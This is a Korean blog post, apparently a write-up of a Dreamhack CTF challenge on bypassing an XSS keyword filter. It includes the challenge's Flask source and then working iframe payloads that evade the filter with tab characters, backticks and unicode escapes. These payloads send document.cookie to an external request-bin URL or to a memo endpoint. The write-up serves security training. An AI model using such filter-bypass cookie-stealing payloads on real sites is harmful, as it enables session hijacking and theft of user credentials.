SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] XSS Filtering Bypass Advanced

SlowTurtle_ 2023. 1. 9. 22:23
728x90

[Dreamhack] XSS Filtering Bypass Advanced

코드를 먼저 확인하였다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

우선 필터링이 무엇이 되는지 확인해봤는데 

"script", "on", "javascript", "window", "self", "this", "document", "location", "(", ")", "&#"

이정도가 있었다. 그래서 그냥 대문자로 우회하면 되나? 싶었는데 그럼 그렇지 lower함수로 대문자로 우회해서 풀 수 없었다. 우선 javascript가 실행되도록 우회해봤다.

<iframe src="javascr	ipt:alert'1'">

처음에 단순하게 tab을 사용하고 ()를 ' ' 로 우회하여 해봤는데 filtered!!!가 반겨줬다. 뭐가 문제일까 싶어서 알아보다가 tab을 url인코딩해 %09를 넣어 실행해보니

<iframe src="javascri%09pt:alert`1`">

실행됨을 확인했다. tap을 url에서 사용했을 때이니 flag값에 넣을 때는 %09대신 그냥 tap을 해도 javascript를 실행할 수 있음을 알았다.

그럼 이제 쿠키를 출력해보자.

document와 location을 사용해야하는데 둘 다 필터링 되니 둘 다 o만 유니코드방식으로 인코딩해봤다.

document는 d\u006fcument로 location을 locati\u006fn으로 변경하였고 여러번 시도했는데 실패할 때마다 memo에 Hello가 쌓일 때마다 사기가 저하돼서 dreamhack tool을 사용해서 요청값을 확인해보는 방식으로 시도했다.

 

우선 유니코드 변환전 코드는 아래와 같다.

document.location.href='https://ugwbosk.request.dreamhack.games/?memo='+location.cookie;

 

유니코드를 이용해 바꾸면

d\u006fcument.locati\u006fn.href='https://ugwbosk.request.dreamhack.games/?memo='+locati\u006fn.cookie;

이렇게 사용할 수 있다. 이제 iframe으로 씌우고 javascript로 실행할 수 있도록 해보자.

<iframe src="javascr	ipt:d\u006fcument.locati\u006fn.href='https://ugwbosk.request.dreamhack.games/?memo='+d\u006fcument.cookie;">

위와 같이 만들었다. flag에 넣어보자!

제출 후 확인해보니

flag값을 확인할 수 있었다.

물론 memo로 받으려면 dreamhack tool에서 받은 url대신 /memo?memo=를 넣으면 flag값을 받을 수 있다.

<iframe src="javascr	ipt:d\u006fcument.locati\u006fn.href='/memo?memo='+d\u006fcument.cookie;">

 

728x90

'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글

[Dreamhack] CSP Bypass Advanced  (0) 2023.01.10
[Dreamhack] CSP Bypass  (0) 2023.01.10
[Dreamhack] XSS Filtering Bypass  (0) 2023.01.09
[Dreamhack] Carve Party  (0) 2023.01.09
[Dreamhack] file-download-1  (0) 2023.01.09